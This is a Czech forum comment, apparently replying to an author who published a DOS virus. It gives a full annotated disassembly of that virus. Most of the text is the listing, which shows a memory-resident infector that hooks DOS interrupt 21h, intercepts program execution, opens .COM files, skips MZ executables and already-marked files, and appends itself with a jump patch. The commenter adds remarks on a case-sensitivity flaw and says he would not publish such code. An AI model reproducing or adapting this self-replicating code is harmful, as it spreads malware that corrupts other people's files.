Takze nemam moc casu ale neco alespo. Ono se nema cenu ani tim kodem moc zabejvat. Tak ze jedna o rezitentni program. Kde se nastavi jako vlastni preruseni. Vypis je dole, snad se to nejak nezmrsi. Po 5 minutach me to prestalo bavit a radsi bucu venovat svuj cas necemu jinemu. Ale rad jsem se vratil do roku 1998 kdy jsem koncil s asm16 tehdy jsem delal v GLUM. Docela dobre pro osvezeni DOS funkci. Jinak pokud se bude soubor jmenovat napr. soubor.Com, tak se ten vir nechyta. A vzhledem k tomu ze ZIVE ctou sami odbornici tak si samy urcite ten disassembling dokomentuji. Jeste par let a bude z tebe dobrej koder. Ale ja osobne bych neco takoveho nepublikoval. Mam hodne kodu z dob DOSu, ale radsi je nikomu neukazuji, protoze je to daleko vedsi prasarna nez ten tvuj.
; Skok na adresu 0x104,
00000100 EB02 jmp short 0x104
00000102 C3 ret
00000103 90 nop
; Uložíme všechny reg. do STACK,
00000104 60 pusha
; volaní EXEC (funkce DOS)
00000105 B8454B mov ax,0x4b45
00000108 CD21 int 0x21
; Ted se urci adresa kde se nachazime v programu tak ze se odskoci na POP
; ktera nasledne vybere adresu a tou je v nasem pripade momentale 0000010D,
0000010A E80000 call 0x10d
0000010D 5D pop bp
;
0000010E 2E66FFB60001 push dword [cs:bp+0x100]
00000114 2E668F060001 pop dword [cs:0x100]
0000011A 09C0 or ax,ax
0000011C 742C jz 0x14a
0000011E 1E push ds
0000011F 06 push es
00000120 6A00 push byte +0x0
00000122 1F pop ds
00000123 68EE9F push word 0xffff9fee
00000126 07 pop es
00000127 31FF xor di,di
00000129 8D76F7 lea si,[bp-0x9]
0000012C B90D01 mov cx,0x10d
0000012F 2EF3A4 cs rep movsb
00000132 66FF368400 push dword [0x84]
00000137 26668F06F100 pop dword [es:0xf1]
0000013D FA cli
0000013E C70684004B00 mov word [0x84],0x4b
00000144 8C068600 mov [0x86],es
00000148 07 pop es
00000149 1F pop ds
0000014A 61 popa
0000014B 680001 push word 0x100
0000014E C3 ret
; Zde je obsluha vlastního předušení,
; nefunguje na OS NT a vejš,
0000014F 9C pushf
00000150 80FC4B cmp ah,0x4b
00000153 0F859C00 jnz near 0x1f3
00000157 3C45 cmp al,0x45
00000159 7504 jnz 0x15f
0000015B 31C0 xor ax,ax
0000015D 9D popf
0000015E CF iret
;
0000015F FA cli
00000160 1E push ds
00000161 06 push es
00000162 60 pusha
00000163 89D7 mov di,dx
00000165 1E push ds
00000166 07 pop es
00000167 30C0 xor al,al
00000169 B94000 mov cx,0x40
0000016C FC cld
0000016D F2AE repne scasb
0000016F 66817DFB2E434F4D cmp dword [di-0x5],0x4d4f432e ;"MOC."
00000177 740A jz 0x183
00000179 66817DFB2E636F6D cmp dword [di-0x5],0x6d6f632e ;"moc."
00000181 756D jnz 0x1f0
;
00000183 B8023D mov ax,0x3d02
00000186 CD21 int 0x21
00000188 0F826400 jc near 0x1f0
;
0000018C 0E push cs
0000018D 1F pop ds
0000018E 89C3 mov bx,ax
00000190 BA99FF mov dx,0xffffff99
00000193 B9FFFF mov cx,0xffffffff
;
00000196 E86E00 call 0x207
00000199 7251 jc 0x1ec
0000019B B90400 mov cx,0x4
0000019E BA0D01 mov dx,0x10d
000001A1 B43F mov ah,0x3f
000001A3 CD21 int 0x21
000001A5 66813E0D01484755 cmp dword [0x10d],0x46554748 ; "FUGH"
000001AE 743C jz 0x1ec
000001B0 E84600 call 0x1f9
; Cteni ze souboru,
; DX = adresa kam cist,
; CX = kolik toho cist v byte,
000001B3 B43F mov ah,0x3f
000001B5 BA0901 mov dx,0x109
000001B8 B90400 mov cx,0x4
000001BB CD21 int 0x21
; Test zda se nejedna o soubor z MZ hlavickou,
; pokud se vraceno ZERO tak se skace na 0x1ec,
000001BD 813E09014D5A cmp word [0x109],0x5a4d ;"ZM"
000001C3 7427 jz 0x1ec
; Odskok do podprogramu na zjisteni velikosti souboru,
000001C5 E83B00 call 0x203
; Zapis do souboru,
; BX = handle souboru,
; DX = adresa dat pro zapis,
; CX = delka dat pro zapis,
000001C8 89C6 mov si,ax
000001CA B440 mov ah,0x40
000001CC 31D2 xor dx,dx
000001CE B90D01 mov cx,0x10d
000001D1 CD21 int 0x21
; Nastaveni zacatku souboru na zacatek,
000001D3 E82300 call 0x1f9
000001D6 83EE03 sub si,byte +0x3
000001D9 C6060D01E9 mov byte [0x10d],0xe9
000001DE 89360E01 mov [0x10e],si
; Zapis do souboru,
000001E2 B440 mov ah,0x40
000001E4 BA0D01 mov dx,0x10d
000001E7 B90300 mov cx,0x3
000001EA CD21 int 0x21
; Zavreni souboru,
; BX = handle souboru, ktery se ma zavrit,
000001EC B43E mov ah,0x3e
000001EE CD21 int 0x21
; obnoveni vsech registru ze STACK
000001F0 61 popa
;
000001F1 07 pop es
000001F2 1F pop ds
;
000001F3 9D popf
;
000001F4 EAD204D204 jmp 0x4d2:0x4d2
; Nastaveni pozice v souboru DX:CX velikost posunuti
; Zde se jedna o velikost posunuti o 0 byte,
; BX = handle souboru,
; DX:CX = velikost posunuti
000001F9 31D2 xor dx,dx
000001FB 31C9 xor cx,cx
000001FD B80042 mov ax,0x4200
00000200 CD21 int 0x21
00000202 C3 ret
; Opet volani nastaveni posunuti ale zde je nastaven FLAG
; v reg. AL ne 02h coz znamena ze se vrati velikost souboru,
; BX = handle souboru,
; DX:CX = velikost posunuti,
00000203 31D2 xor dx,dx
00000205 31C9 xor cx,cx
00000207 B80242 mov ax,0x4202
0000020A CD21 int 0x21
0000020C C3 ret
; Ukončení programu,
0000020D CD20 int 0x20
0000020F 90 nop
00000210 90 nop
;
00000211 30830455 xor [bp+di+0x5504],al
00000215 EAEC8A89F5 jmp 0xfffff589:0xffff8aec